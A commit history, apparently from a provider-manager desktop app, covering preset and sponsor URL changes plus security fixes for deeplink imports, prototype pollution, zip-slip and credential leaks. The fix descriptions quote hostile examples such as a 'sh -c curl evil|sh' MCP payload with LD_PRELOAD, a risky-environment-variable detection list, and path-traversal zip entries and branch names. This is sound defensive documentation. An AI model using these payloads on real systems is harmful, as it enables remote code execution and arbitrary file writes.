Commit Graph

1345 Commits

Author SHA1 Message Date
Jason 30409878bd chore(presets): add PackyCode backup endpoints
Add three fallback endpoints alongside the primary www.packyapi.ai across
the five preset files that support endpointCandidates:

  https://cf.api.fan
  https://slb-v1.api.fan
  https://www.packyapi.com

The /v1 suffix follows each file's existing convention rather than the
literal values supplied: bare domains for the Anthropic-native presets
(Claude Code, Claude Desktop, Gemini), /v1 for Codex and Grok Build.
Candidates are consumed as complete base URLs by the endpoint picker and
the speed test, so they must sit at the same path level as the primary.

www.packyapi.com is the pre-b0482320 domain, kept here deliberately as a
fallback -- not a leftover of that migration.

OpenCode, OpenClaw and Hermes have no endpointCandidates field in their
interfaces and are untouched.
2026-07-29 17:09:29 +08:00
Jason bfb767ae17 chore(presets): align Code0 and Qiniu Gemini defaults to 3.6 Flash
Both presets pinned gemini-3.1-pro-preview while the other Gemini presets
had moved to gemini-3.6-flash. Note this is a tier change rather than a
version bump: there is no 3.6 Pro release and 3.5 Pro is still limited to
partner testing, so the current baseline is a flash-tier model.

The gemini-3.1-pro-preview row in the built-in pricing seed is kept so
historical usage keeps its cost.
2026-07-29 16:40:31 +08:00
Jason dbb265956e feat(presets): add A6API sponsor preset across all supported apps
Add the A6API aggregator preset to Claude Code, Claude Desktop, Codex,
Gemini CLI, OpenCode, OpenClaw, Hermes and Grok Build, placed after
NekoCode in the sponsor ordering. Base URLs follow the per-client
convention: no /v1 suffix for the Anthropic-native and Gemini endpoints,
/v1 for the OpenAI-compatible ones. Model defaults mirror NekoCode.

Also add the four-locale promotion copy, the sponsor row in all four
READMEs and the icon index entry.

The supplied artwork was resized before landing: the icon was a 1024x1024
PNG base64-wrapped in an SVG shell (652K, the largest entry in iconUrls
and shipped in every build), now a 256x256 PNG at 60K; the banners were
16:9, the only ones deviating from the 2.406 project standard, now
cropped to 1280x532.
2026-07-29 16:40:23 +08:00
Jason cfa90f396a fix(deeplink): import usage scripts disabled and show their code
An imported usage script is JavaScript that runs whenever usage is
queried. Two things made it possible to acquire one without seeing it:

  - `usage_enabled.unwrap_or(!code.is_empty())` treated the presence of
    code as a decision to run it, so a link that simply carried a script
    got it enabled
  - the confirmation dialog rendered only an enabled/disabled badge; the
    script body was never displayed

Default to disabled. Enabling now requires `usageEnabled=true` in the
link -- which is the link author's request, not the user's consent. The
consent is the user pressing Import after seeing the full script body
and the badge, which is why both displays are load-bearing rather than
decorative.

The badge predicate moves from `!== false` to `=== true` to match the
new backend default. Left alone it would have started rendering "did not
say" as a green "Enabled" -- more optimistic than what would actually
happen.

Extracts the payload decode into `decodeDeeplinkPayload`, which falls
back to the raw string when decoding fails or yields empty. A dialog
whose job is to show what is about to be written must not let a payload
vanish just because it is malformed; empty reads as "there is no
script", which is exactly the wrong impression.
2026-07-29 10:22:30 +08:00
Jason 19bf236e58 fix(deeplink): decode URL-safe Base64 in import confirmations
The renderer only fed input to `atob`, which rejects the URL-safe
alphabet (RFC 4648 §5). The backend, meanwhile, tries STANDARD,
STANDARD_NO_PAD, URL_SAFE and URL_SAFE_NO_PAD in turn, so a link whose
payload used `-`/`_` decoded fine on the way in but not on the way to
the screen.

`decodeBase64Utf8` swallows its own failure and returns the input
unchanged, so the mismatch was silent:

  - usage script  -> the confirmation showed opaque Base64
  - prompt        -> same
  - MCP config    -> `JSON.parse` threw, the catch returned null, and
                     the dialog rendered "0 servers" with an empty list

The MCP case defeated the server/argument display added earlier: a
one-character substitution made the whole list disappear while the
backend still imported the real `mcpServers` entry.

Normalize `-` to `+` and `_` to `/` before decoding, in both the primary
path and the last-resort fallback, so the two sides agree on what a
payload says. Standard Base64 contains neither character, so this cannot
misread standard input.

Adds the first tests for this shared decoder. They exercise the real
implementation rather than an injected stub, and assert their own
premise -- a payload whose standard encoding happens to contain no `+`
or `/` makes the URL-safe conversion a no-op and the test vacuous.
2026-07-29 10:22:30 +08:00
Jason a443eae95a fix(deeplink): surface MCP args/env and flag risky values on import
The MCP confirmation rendered only `Command: ${spec.command}`, inside a
`truncate` container, and showed neither `args` nor `env`. The realistic
payload -- `command: "sh"`, `args: ["-c", "curl evil|sh"]`, plus an
`env` carrying LD_PRELOAD -- therefore displayed as a harmless
`Command: sh`. On confirm it is written to `~/.claude.json` and the other
live files, and the CLI spawns it on next launch.

Render command, args, url and env on separate lines, expanding args
item by item rather than joining them: the payload usually sits inside
one argument, and joining then truncating is exactly how it stayed
hidden. `break-all` replaces `truncate` so nothing is clipped out of
view. Rows matching a `classify*` helper are marked, with a summary
block underneath since per-row markers are easy to skim past.

The provider side already listed env keys and values; it gains the same
highlighting, `break-all`, and an endpoint marker, and now shares
`maskValue` with the MCP view.

Show the "written to the target apps immediately" warning
unconditionally. It was gated on `request.enabled`, but the MCP import
path never reads that field -- `deeplink/mcp.rs` has no reference to it
and calls `set_enabled_for(&app, true)` unconditionally, unlike
prompt.rs, skill.rs and provider.rs which do honour it. Gating on it let
a malicious link omit `enabled` to suppress the warning while the write
behaviour stayed identical, turning the warning into a switch the
attacker controls.

New i18n keys added to all four locales (zh/en/ja/zh-TW).
2026-07-29 10:22:30 +08:00
Jason 6dbb944b54 feat(deeplink): add risk classification helpers for import confirmation
Pure helpers used only to annotate the deep-link confirmation dialog.
They deliberately do not block anything: custom endpoints and env vars
are normal third-party provider configuration (`http://localhost:11434`
is ordinary Ollama usage), so filtering them would break legitimate
setups. The actual gap is that the user cannot see what they are
approving, which is a visibility problem, not a policy one.

- `classifyEnvKey` flags variables that change how a process loads code
  rather than which API it talks to: LD_*/DYLD_*, NODE_OPTIONS,
  NODE_EXTRA_CA_CERTS, PYTHONPATH, PATH, HTTP(S)_PROXY and friends. No
  legitimate provider preset needs these set over a shared link.
- `classifyEndpoint` matches loopback, RFC 1918, link-local and cloud
  metadata addresses. Literal matching only, no DNS resolution: resolving
  adds latency and the answer can differ from what the client resolves
  later (rebinding), so treating it as a control would be false
  assurance. Handles IPv4-mapped IPv6, since `new URL()` normalizes
  `[::ffff:127.0.0.1]` to hex `[::ffff:7f00:1]` and a dotted-quad regex
  alone misses that whole class.
- `classifyCommand` looks at command *and* args, because the realistic
  payload is `command: "sh"` with `args: ["-c", "curl evil|sh"]` -- a UI
  that renders only the command shows a harmless `sh`. Inline-command
  flags are matched by shape, not by literal, to cover combined POSIX
  short options (`bash -lc`), case-insensitive `cmd /C`, and PowerShell's
  abbreviations of `-Command`.

Every parameter takes `unknown`. These values come from arbitrary
base64-decoded JSON, where TypeScript annotations offer no runtime
guarantee; a non-string `command` would throw on `.split()` and blank the
whole confirmation dialog, which is worse than the misleading render it
replaces -- the user would not even see that something wants importing.

`maskValue` moves here from the dialog component so the MCP and provider
confirmations share one redaction rule instead of drifting apart.
2026-07-29 10:22:30 +08:00
Jason cd17912f04 fix(config): stop common config snippet walkers touching Object.prototype
`JSON.parse('{"__proto__":{…}}')` produces `__proto__` as an *own
enumerable* property, so `Object.entries` yields it; and
`isPlainObject(Object.prototype)` is true, so `deepMerge` skipped its
"replace with empty object" branch and merged straight into the global
prototype. Reproduced, not inferred.

`deepRemove` had the same shape and was destructive: `"__proto__" in
target` is always true because `in` walks the prototype chain, so it
recursed into `Object.prototype` and deleted from it.

Reachable without XSS: `settings` is not in the sync skip/preserve lists,
so `common_config_*` is overwritten by whatever the WebDAV/S3 remote
sends, and opening a provider form merges it.

Guard all three walkers that share the traversal shape. The third,
`isSubset`, only reads and cannot pollute, but following
`target["__proto__"]` made `{"__proto__":{}}` a subset of *every* config,
so the "common config applied" toggle read wrong. It also now requires
own properties, since an inherited key is not "present in the config".

`isSubset` rejects on a forbidden key rather than skipping: if a future
caller bypasses sanitization, reporting "not applied" is the safe
direction because re-applying is idempotent.

That rejection alone left an inconsistency: merge skips forbidden keys
and keeps going, so `{"env":{"A":"1"},"__proto__":{}}` really did write
`env.A` while `hasCommonConfigSnippet` reported it as never applied.
Fixed by sanitizing on the *reading* side only, so the comparison runs
against exactly what the write side produces. Deliberately not applied to
the write path: `deepMerge`/`deepRemove` already skip these keys, so
sanitizing first is byte-for-byte identical there -- an unfalsifiable
call that would wrongly imply the walkers cannot handle their own input.

`deepCloneFallback` gets the same skip. Its impact differs and the
comment says so: it does not reach the global prototype, it swaps the
clone's own prototype, giving the copy ghost properties. It is dead while
`structuredClone` exists, but the two paths disagreed on `__proto__`.
2026-07-29 10:22:30 +08:00
Jason 993077c60c chore(presets): migrate AIGoCode sponsor domain to .app
Full domain migration aigocode.com -> aigocode.app (bare domain +
api. subdomain, invite path unchanged) across all 8 preset files
and 4 README languages. Icons, promotion keys, and i18n copy
unchanged.
2026-07-29 10:22:29 +08:00
Thefool 12b972a66e feat(usage): add automatic models.dev pricing sync (#5734)
* feat(usage): persist model pricing in local config

* feat(usage): sync selected models.dev pricing on startup

* fix(usage): address models.dev sync review feedback

* fix(usage): harden local pricing synchronization
2026-07-28 23:37:55 +08:00
zayoka ff3bc242cc fix(Security): zip-slip on skill install, two credential leaks, and three panic paths (#5811)
* fix(security): harden GrokBuild credential handling and Codex/Anthropic transforms against malformed input

Three robustness/security fixes in the upstream v3.18.0 code, each with a
regression test.

1) grok_config: remove the unconditional XAI_API_KEY fallback in
   extract_credentials(). Credentials now come only from an explicit inline
   api_key or the process env var named by env_key. Silently substituting a
   different account's key (when the declared env_key var is unset) could
   leak that key to whatever base_url the config points at.

2) deeplink/provider: merge_grokbuild_config no longer resolves env vars
   into a plaintext api_key on import. A deeplink is untrusted input;
   resolving+inlining would persist the victim's environment secret into the
   imported provider's config.toml and ship it to the link's declared
   base_url. env_key now stays an indirection (name), not a resolved secret.

3) proxy transforms: stop panicking on malformed upstream data.
   - transform_codex_anthropic::anthropic_sse_to_message_value: only store a
     `message`/`content_block` when it is an object; otherwise treat it as
     empty, so the later `["content"]`/`["text"]`/`["signature"]` index
     assignments can't panic on a scalar/array Value.
   - streaming_codex_anthropic::responses_sse_events_from_anthropic_message:
     bail out with a failed-event when the buffered body is a top-level JSON
     array/scalar (a gateway that ignores stream:true), instead of
     index-assigning into a non-object.
   - mcp/grokbuild sync: normalize a non-table `mcp_servers` before
     inserting, avoiding a toml_edit IndexMut panic on a user-edited
     config.toml.

Panic findings verified with a minimal repro (serde_json index-assignment on
a non-object Value aborts). cargo test --lib: 2183 passed / 0 failed.

Co-Authored-By: Claude <noreply@anthropic.com>

* fix(mcp): normalize a non-table `mcp_servers` in Codex config before insert

Same class of bug as the GrokBuild MCP fix in the previous commit, but in the
much more widely used Codex path.

`sync_single_server_to_codex` guarded only with `contains_key("mcp_servers")`,
so a user-edited `~/.codex/config.toml` where the key exists but is *not* a
table (`mcp_servers = "x"` / `[]` / `42`) skipped the rebuild and then hit
`doc["mcp_servers"][id] = …`, which panics in toml_edit's `IndexMut`
(`.expect("index not found")`). The panic happens inside a Tauri command and
unwinds across the FFI boundary; in the provider-switch flow it also fires
after the DB/live write already committed, leaving a half-applied switch.

Extract the normalize-then-insert step into `upsert_mcp_server_table()` so the
previously panic-prone logic is unit-testable without touching the real
`~/.codex/config.toml`, and normalize any non-table value to an empty table
before inserting.

Audited the sibling MCP writers while here: claude.rs / gemini.rs /
hermes.rs / opencode.rs do not have this pattern (their `contains_key` uses are
read-only checks), and the other index-assignments in codex.rs operate on
freshly built `Table::new()` values, which are safe.

Tests: 2 new regression tests (malformed non-table values normalize and insert;
an existing valid table keeps its entries). cargo test --lib 2185 passed / 0
failed; cargo clippy --lib -D warnings clean.

Co-Authored-By: Claude <noreply@anthropic.com>

* fix(security): reject path-traversal entries when extracting a skill repo archive

`SkillService::download_and_extract` built the output path from the raw ZIP
entry name (`file.name()`), stripped only the leading `<repo>-<branch>/`
component, and then `dest.join(relative_path)` → `fs::File::create`. A crafted
entry such as `repo-main/../../../evil.sh` therefore escaped the destination
directory (zip-slip): arbitrary file write outside the temp extraction dir.

The archive is third-party controlled: it is downloaded from
`https://github.com/<owner>/<name>/archive/refs/heads/<branch>.zip`, and a
skill repo (`owner`/`name`) can be added through an untrusted `ccswitch://`
deeplink (`deeplink/skill.rs`), so the attacker fully controls the archive
contents.

Fix: resolve each entry through `zip::read::ZipFile::enclosed_name()`, which
rejects `..` components and absolute paths, before stripping the archive's
root directory and joining onto `dest`. Unsafe entries are skipped with a
warning. This matches what the two sibling extractors in this codebase already
did correctly (`extract_local_zip`, `webdav_sync/archive.rs`) — this call site
was the one that had been missed.

The extraction loop is split out into `extract_repo_archive()` so the guard is
testable without network access.

Verified the test actually catches the bug: with the guard reverted to the old
`file.name()` behaviour the new test fails ("zip-slip entry must not escape
dest (temp root)"); with the guard in place it passes.

cargo test --lib: 2186 passed / 0 failed; cargo clippy --lib -D warnings clean.

Co-Authored-By: Claude <noreply@anthropic.com>

* fix(security): strip all credentials from the shared Gemini common-config snippet

`extract_gemini_common_config` skipped only two hardcoded keys
(`GOOGLE_GEMINI_BASE_URL`, `GEMINI_API_KEY`) and copied every other `env`
entry into the shared snippet. But `GOOGLE_API_KEY` is a first-class Gemini
credential — `provider.rs` resolves it via
`first_non_empty(env, &["GEMINI_API_KEY", "GOOGLE_API_KEY"])` — so it was
never stripped.

That snippet is not inert: `apply_common_config_to_settings` (live.rs)
deep-merges it into the `env` of *every other* Gemini provider that uses the
common config, and the snippet is auto-extracted on startup, on import, and on
switch. Net effect: account A's key gets written into provider B and sent to
B's `GOOGLE_GEMINI_BASE_URL`, which may be a third-party relay. Anything else
the user put in `env` (`GOOGLE_APPLICATION_CREDENTIALS`, a proxy
`*_AUTH_TOKEN`, …) leaked the same way.

Fix: also skip `Self::is_sensitive_config_key(key)`, reusing the pattern
matcher the Claude extractor already relies on for exactly this reason (its
comment notes a fixed enumeration "will always miss the next `*_API_KEY`").
`GOOGLE_API_KEY` matches its `_API_KEY` suffix rule. Shareable non-secret
config (e.g. `GEMINI_TIMEOUT_MS`) is preserved.

Verified the test catches the bug: run against the old two-key filter it fails
with "credential GOOGLE_API_KEY must not leak into the shared Gemini snippet";
with the fix it passes.

cargo test --lib: 2187 passed / 0 failed; cargo clippy --lib -D warnings clean.

Co-Authored-By: Claude <noreply@anthropic.com>

* fix(security): validate skill directory from backups and sync-imported DB rows

The skill install pipeline sanitizes the install directory name, but two
entry points bypassed it entirely:

- restore_from_backup joined metadata.skill.directory (raw meta.json
  content) into the SSOT dir with no validation, allowing a crafted
  backup to copy attacker-controlled files outside the skills directory
  and to persist the poisoned value into the database.
- Sync import (WebDAV/S3) loads the remote database dump verbatim, so a
  malicious or compromised sync snapshot could plant a skills row whose
  directory contains path traversal. Every later raw join then operated
  on attacker-controlled paths — uninstall/remove_from_app would
  remove_dir_all outside the managed dirs (arbitrary directory deletion),
  and sync_to_app_dir would write/symlink outside them.

Add require_valid_directory() (built on the existing
sanitize_install_name) and enforce it at restore_from_backup,
sync_to_app_dir, remove_from_app, and uninstall. Regression tests cover
all three sinks plus the metadata path; each was verified against the
unguarded code first (disabling the guard makes the restore/uninstall
tests complete the traversal write/delete, failing the assertions).

Also fixes a pre-existing cargo fmt drift in mcp/grokbuild.rs.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* fix(security): reject path separators in sanitize_install_name on all platforms

The previous components()-based check was platform-dependent: on
Linux/macOS a backslash is not a path separator, so "a\b" parsed as a
single Normal component and was accepted as a valid install name — the
same value becomes a nested path when synced or restored onto Windows.
CI caught this on the Linux runner (the Windows runner passed).

Reject both '/' and '\' explicitly so the validation is
platform-independent; the components() check stays as the second layer
for dot segments, roots, and prefixes.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* fix(security): close the remaining skill-install attack chain

The zip-slip guard added earlier only covered half the problem, and the
repo coordinates that decide *which* archive gets downloaded were never
validated at all. Together those two gaps let an attacker choose both the
bytes and where they land.

1) zip-slip, second layer. `enclosed_name()` only guarantees the entry does
   not escape the *archive's own* root, and it does not normalise the path —
   `..` survives verbatim in the returned value. Stripping `root_name`
   afterwards spends one level of that depth budget, so `repo-main/../evil`
   still escaped `dest`. On Windows it is worse: `root_name` comes from
   `split('/')` and may contain backslashes, which Windows treats as
   separators, so one `strip_prefix` can eat N components. Re-check the
   *actual* relative path for `ParentDir` right before `dest.join()`.
   Verified by reverting the guard: the single-`..` case escapes without it.
   (The existing test used two `..`, which `enclosed_name()` rejects on its
   own — it covered the half that was already guarded.)

2) Repo coordinates are now validated. `download_repo` formats owner/name/
   branch straight into
   `https://github.com/{owner}/{name}/archive/refs/heads/{branch}.zip`,
   and `deeplink/skill.rs` applied no validation whatsoever. URL parsing
   resolves dot segments, so a branch of
   `../../../releases/download/v1/evil` retargets the request at a *release
   asset* — arbitrary attacker-uploaded bytes. That is what made (1)
   reachable in practice: git itself will not let a tree contain `..`.
   Note the trigger is below "install": repos are enabled by default, so
   merely opening the Skills panel downloads and extracts.

   `validate_repo_ref` whitelists all three fields. Branch names legally
   contain `/` (`feature/x`), so the check is per segment rather than a
   blanket separator ban; an empty branch keeps its existing "use the
   default branch" sentinel meaning, same as `HEAD`. The main guard sits in
   `download_repo` — the single convergence point for all four call paths —
   because both `skill_repos` and `skills` can be overwritten wholesale by a
   sync snapshot, which no insert-time check can prevent. Entry-point checks
   (deeplink, `add_skill_repo`, agents lock) exist so bad values surface
   immediately instead of silently failing on every later panel open.
   `build_skill_doc_url` is covered too: it feeds `readme_url`, which the
   frontend hands to `openExternal`.

3) Regressions from the previous commits in this branch, both fixed:
   - `uninstall` ran the directory guard *before* `db.delete_skill`. That
     method has exactly one call site and is not exposed as a command, so a
     row with a dirty `directory` (pre-v3.11.0 installs, or anything
     `import_from_apps` still creates today — it has no sanitiser) became
     permanently undeletable from the UI. Now the guard skips the filesystem
     work but still deletes the row.
   - `sync_to_app` propagated with `?`, so one bad row aborted the entire
     app's skill sync — and that runs on provider switch. Now it warns and
     continues per entry.
   - `require_valid_directory` returned `sanitize_install_name`'s normalised
     value, which trims. A DB value of `" foo "` would then join as `"foo"`
     and miss the real directory. It now validates without rewriting.

4) Guard applied to the sinks the earlier commits missed: `migrate_storage`
   (rename + remove_dir_all), `update_skill` (delete + write attacker-named
   paths), `import_from_apps` (both a sink and the source of dirty values —
   `selection.directory` arrives raw over IPC), `resolve_uninstall_backup_source`
   (copies any directory into the backup area, which the UI then lists),
   `check_updates`, and `migrate_skills_to_ssot`.

5) Extraction limits. The archive bytes were fully attacker-controlled via
   (2), and this path had no ceiling of any kind, unlike
   `webdav_sync/archive.rs`. Added entry count, total extracted bytes, a
   symlink-target cap (zip 2.4.2's `make_reader` does not truncate at the
   declared `uncompressed_size`, so a symlink-flagged entry that inflates to
   gigabytes was read straight into memory), per-directory charging (a
   directory-only archive writes no content bytes but still consumes inodes),
   and a download-body cap (`response.bytes()` buffered the whole archive
   before any limit applied). Budget is charged on bytes actually read and
   written, never on sizes declared in the archive header.

   Symlink materialisation is charged to the same budget, and a target that
   contains the link itself (`dir/link -> ..`) is now rejected: the existing
   "must stay inside base" check passes for it, and the recursive copy then
   re-copies its own output every level until PATH_MAX.

6) Temp directories are now RAII. `download_repo` and `extract_local_zip`
   called `TempDir::keep()` immediately and relied on every exit path
   remembering `remove_dir_all`. Several did not — including
   `fetch_repo_skills`, the highest-frequency path of all. Returning the
   guard makes the leak unrepresentable at the call sites.

* fix(config): make removals and edits survive user-authored config shapes

The previous commits hardened the *write* side of the MCP tables against a
non-table `mcp_servers`. The read/delete side kept using `as_table_mut`,
which returns None for an inline table (`mcp_servers = { foo = {...} }` —
valid TOML). Removal then silently did nothing: the UI reported success, the
entry stayed in the file, and Codex loaded it again on next start. That is
worse than the panic it mirrors, because users usually reach for the toggle
precisely when an MCP server is misbehaving. Both Codex and GrokBuild now use
`as_table_like_mut` on both sides.

Normalisation is no longer silent either. Replacing a user's hand-written
`mcp_servers = "x"` with an empty table destroys data, so all four sites that
do it now log a warning first.

`update_codex_toml_field` had the same asymmetry with a different symptom:
when `model_providers` or `[model_providers.<id>]` was an inline table,
`as_table_mut` returned None and execution fell through to the "write a
top-level field" fallback. The user's `base_url` edit landed at the wrong
level, Codex never read it, and nothing reported a problem.

`opencode_config` parses `~/.config/opencode/opencode.json` with json5 into a
bare Value and never checked the root's shape. A user file of `[]` or a
scalar made `set_provider`, `set_mcp_server` and `add_plugin` all panic on
index-assignment, inside a Tauri command, unwinding across the FFI boundary.
(A top-level `null` is fine — serde_json promotes it.) Rejecting a non-object
root at the single read site fixes all three. Rejecting rather than rebuilding
is deliberate: the file also holds the user's own `model` / `theme` settings,
so a silent rebuild would delete them. Same treatment for the `provider` and
`mcp` sections, whose non-object forms made writes silently no-op.

* fix(proxy): recover a malformed Anthropic content_block as text

Sanitising a non-object `content_block` to `{}` stops the panic but creates a
quieter failure: the final Responses conversion matches on the block's `type`
and silently drops anything it does not recognise, so a garbled block header
turned into a `completed` response with empty output. The client saw the model
say nothing, with no signal that data had been discarded.

The replacement now carries `type: "text"`. The deltas that follow a malformed
header are usually well-formed, so this recovers the common case; a tool-use
block still yields nothing, exactly as before. A warning is logged when the
substitution happens.

The regression test now asserts through `anthropic_response_to_responses`
rather than on the intermediate value — asserting on the intermediate alone
passes while the client still receives an empty response.

* fix(grokbuild): decouple base_url from credential resolution, reject env_key-only links

`resolve_usage_credentials` called `extract_credentials(...).unwrap_or_default()`,
so a missing credential blanked the base_url too — even though it is written
right there in the config. Removing the `XAI_API_KEY` fallback in the earlier
commit widened that considerably: a GUI process on macOS does not inherit the
shell environment, so an `env_key` that resolves fine in a terminal resolves to
nothing here. The result was a Base URL shown in the UI that differed from the
one actually used, `{{baseUrl}}` expanding to empty in usage scripts (turning
requests relative), and native balance queries reporting "API key is empty"
while hiding the real cause. The two values are now resolved independently, via
the existing `grok_config::extract_base_url`, matching how the Codex arm of the
same function already works.

A deeplink whose only credential is `env_key` is now rejected by name. It was
already unimportable — `build_grokbuild_settings` has no `env_key` slot — but it
failed with the generic "API key is required", which reads like a malformed link
and invites the obvious "just carry the name over" fix. Carrying it over is
exactly what must not happen: the forwarder and the usage query both resolve
`env_key` at request time, so the victim's environment secret would still reach
the link's `base_url`. Same leak, merely deferred. The message says so, and the
test sets the probe variable so that restoring the resolution turns it red.

* fix(security): scrub credentials already leaked into the Gemini shared snippet

Fixing the extractor only prevents new contamination. A Gemini snippet is never
re-extracted once it exists — startup auto-extract and post-import extraction
both require `snippet.is_none()`, and the on-switch rewrite only covers Claude
and Codex — so existing users keep injecting the leaked key into live config,
the proxy upstream, and the new-provider form, where another account's key is
plainly visible.

Removing it from the snippet alone would make things worse. Merge and strip
cancel out by *value equality*: on switch-away, `remove_common_config_from_settings`
deletes the injected keys using the snippet as its only record of what to look
for. Once the key is gone from the snippet, the residue left in live config is
backfilled verbatim into the victim provider's `settings_config`, turning a
transient leak into a permanent one. So the cleanup covers all four locations at
once, and step order is itself a safety property: every fallible step runs before
the irreversible one, and a failure returns an error so the next start retries
from an intact state.

Deletion is by key *and* value, never by key name alone, so a provider's own
same-named key with a different value survives. The `~/.gemini/.env` edit
preserves layout rather than round-tripping through
`parse_env_file`/`serialize_env_file`: that pair drops comments, blank lines and
unparseable lines, collapses duplicate keys and re-sorts the file. Acceptable
when re-projecting everything, destructive for a targeted removal the user never
asked for — in testing it reduced a six-line fixture to one line, taking the
user's own key with it.

An audit record is written before any provider row changes, listing key names and
affected provider ids but *no values*: `settings` is not in `SYNC_SKIP_TABLES`,
so it is uploaded by WebDAV/S3 sync, and these are precisely the credentials that
must be destroyed. Keeping values would trade one deletion for a plaintext copy
that spreads across devices, has no UI to reach it, and never expires. It is
written only when absent, so a partially-applied earlier run cannot overwrite the
original pre-cleanup state.

Consequence, intentional: some Gemini providers will now report a missing API key
and need one entered. That key was never theirs. (The victim's own value was
already overwritten at merge time and cannot be recovered — worth noting in the
release notes, along with a recommendation to rotate the leaked key.) The snippet
row is deleted rather than set to `{}` when nothing shareable remains, and the
`cleared` flag is deliberately not set — either would disable auto-extract
permanently and prevent the user's legitimate shared config from ever coming back.

The frontend snippet validator is aligned with the backend matcher. It had the
same two hardcoded key names, so a hand-edited snippet could put `GOOGLE_API_KEY`
straight back with no error.

---------

Co-authored-by: Claude <noreply@anthropic.com>
Co-authored-by: Jason <farion1231@gmail.com>
2026-07-28 16:34:11 +08:00
Jason ccda04bfa6 chore(presets): migrate AICodeMirror and AICoding sponsor domains
- AICodeMirror: full domain migration .com -> .ai (www./api. subdomains,
  gateway paths preserved); drop api.claudecode.net.cn backup endpoint
  from endpointCandidates in 5 presets
- AICoding: full domain migration .sh -> .inc (bare domain + api.
  subdomain, invite code unchanged); README brand copy now plain
  "AICoding" without TLD suffix

Covers 8 preset files and all 4 README languages. Icons, promotion
keys, i18n copy, and legacy migration ids unchanged.
2026-07-27 23:03:36 +08:00
Jason 934a2d0348 chore(presets): sync sponsor listing across apps and READMEs
Add the missing AICoding entry to the German README.
2026-07-26 21:15:42 +08:00
Jason bc7c82228b fix(presets): correct OpenClaw Kimi For Coding base URL to /coding/v1 2026-07-26 21:15:34 +08:00
Jason b972f0a3bd feat(presets): upgrade default models to Opus 5, GPT-5.6 Sol and Gemini 3.6 Flash
Bump the default model IDs across every preset file and the downstream
defaults that mirror them:

- claude-opus-4-8 / anthropic/claude-opus-4.8 / global.anthropic.claude-opus-4-8
  -> claude-opus-5, covering all three naming forms
- gpt-5.5 and the bare gpt-5.6 -> gpt-5.6-sol
- gemini-3.5-flash -> gemini-3.6-flash

Add gemini-3.6-flash to the built-in pricing seed (1.50 in / 7.50 out /
0.15 cache read per million). The seed runs INSERT OR IGNORE on every
startup, so existing databases pick the row up without overriding prices
the user edited by hand.

Advance the Claude Desktop opus route ID in step with the frontend SSOT:
CURRENT_OPUS_ROUTE_ID becomes claude-opus-5 and claude-opus-4-8 takes over
the LEGACY slot, so route IDs stored in existing user configs still resolve
through is_compatible_opus_route_alias.

Also sync omo.ts recommendations, form placeholders, the SudoCode partner
blurb and all four locales, plus the preset assertions that pin these IDs.
2026-07-26 19:08:33 +08:00
Jason b0482320a7 chore(presets): refresh sponsor domains and referral links
- PackyCode: packyapi.com -> www.packyapi.ai across all 8 app presets;
  drop the api-slb.packyapi.com endpoint candidate
- RightCode: right.codes -> www.rightapi.ai across 7 app presets, keeping
  the /claude and /codex/v1 path split and adding the www prefix that the
  Codex-side endpoints were missing
- ClaudeAPI: site -> www.apito.ai, referral -> console.apito.ai/agent/...,
  endpoint -> gw.apito.ai (Claude Code and Claude Desktop only)
- APINebula: apinebula.com -> apinebula.ai across all 8 app presets,
  including the endpoint inside the Codex config.toml template
- SudoCode.chat: referral link only, /register -> /sign-up with new aff
  and utm parameters (7 app presets); SudoCode.us is a different company
  and is untouched

READMEs (en/zh/ja/de) carry the same URL updates. Brand names, icons,
i18n promo keys and README copy are deliberately unchanged.
2026-07-26 17:46:43 +08:00
Jason 876e9f898d feat(presets): restore AICoding partner across seven app types
Bring back the AICoding (aicoding.sh) provider preset that was dropped
in 910ca3b4, covering claude, claudeDesktop, codex, gemini, hermes,
opencode and openclaw, along with the partnerPromotion.aicoding string
in zh/en/ja and the sponsor entry in the three READMEs.

Model ids follow the current baseline rather than the pre-removal
values: gpt-5.5 for Codex, gemini-3.5-flash for Gemini, and
claude-opus-4-8 / claude-sonnet-5 for the Anthropic-relay presets.
OpenClaw costs use standard list pricing, consistent with its peers.

The icon, the logo asset, the zh-TW string and the legacy id in
codex_history_migration.rs were never removed and are reused as-is.
2026-07-26 10:18:57 +08:00
Jason 34cbb375f0 feat(usage): surface Grok Build session source in usage UI
Add the grok_session icon to DataSourceBar and the Grok Build labels
for the app filter and data-source breakdown in all four locales
(zh/en/ja/zh-TW).
2026-07-23 17:00:09 +08:00
Jason 15d5dbe065 feat: add Grok official subscription quota query
Add SuperGrok subscription usage display, following the existing
Claude Code / Codex official-subscription pattern (protocol ported
from steipete/CodexBar):

- New subscription_grok service: reads Grok CLI credentials from
  ~/.grok/auth.json, calls the grok.com GrokBuildBilling gRPC-web
  endpoint, and parses the response via heuristic protobuf scanning
  (used percent, reset time, zero-usage special case)
- Transient failures (network errors, HTTP 408, gRPC deadline/
  cancelled) propagate as Err so the frontend retries and keeps the
  last good value; auth failures map to Expired with a re-login hint
- Tier naming by reset distance: weekly limit, monthly, or a new
  "credits" tier (i18n added for zh/en/ja/zh-TW; tray shows "c")
- New get_xai_oauth_quota command: xai_oauth providers (managed
  SuperGrok OAuth accounts) query the same billing endpoint with
  their bound account token; ProviderCard auto-renders the quota
  footer for them and hides the usage-script entry, and the tray /
  usage-script path routes xai_oauth providers to the managed
  account instead of the host app's CLI credentials
- UsageScriptModal: drop the config-content heuristic for official
  detection; category === "official" is the single source of truth

Claude-Session: https://claude.ai/code/session_01LSNvhEfuoJHaQLZcYQgBU5
2026-07-23 11:13:07 +08:00
Jason f3108bf754 feat(providers): group presets into sponsors and non-sponsors
- Original sort mode now shows official > prime partner > sponsors
  (preset file order, aligned with the README sponsor table) >
  non-sponsors sorted by display name
- Physically reorder sponsor entries in all 8 preset files to match
  the README sponsor table order; add group marker comments
- Drop stale section comments in openclaw/hermes preset files
- Update ProviderPresetSelector tests for the new ordering
2026-07-21 21:10:54 +08:00
Jason 107eade30e chore(presets): add RunAPI referral link runapi.co/register
Point the RunAPI invite link at https://runapi.co/register?aff=iOKB
across all 7 app presets (apiKeyUrl) and the four README sponsor rows
(banner + CTA), which previously used the bare runapi.co homepage with
no referral tag. The websiteUrl and runapi.co API endpoints stay bare,
so the aff code never enters a request URL.
2026-07-21 18:41:08 +08:00
Jason 3537076af2 chore(presets): update ClaudeCN referral link to claudecn.ai/register
Move the ClaudeCN invite link to https://claudecn.ai/register?aff=HEL9
across all 7 app presets (apiKeyUrl) and the four README sponsor rows
(banner + CTA, which previously pointed at the bare .top domain with no
referral tag). The websiteUrl and claudecn.top API endpoints are kept
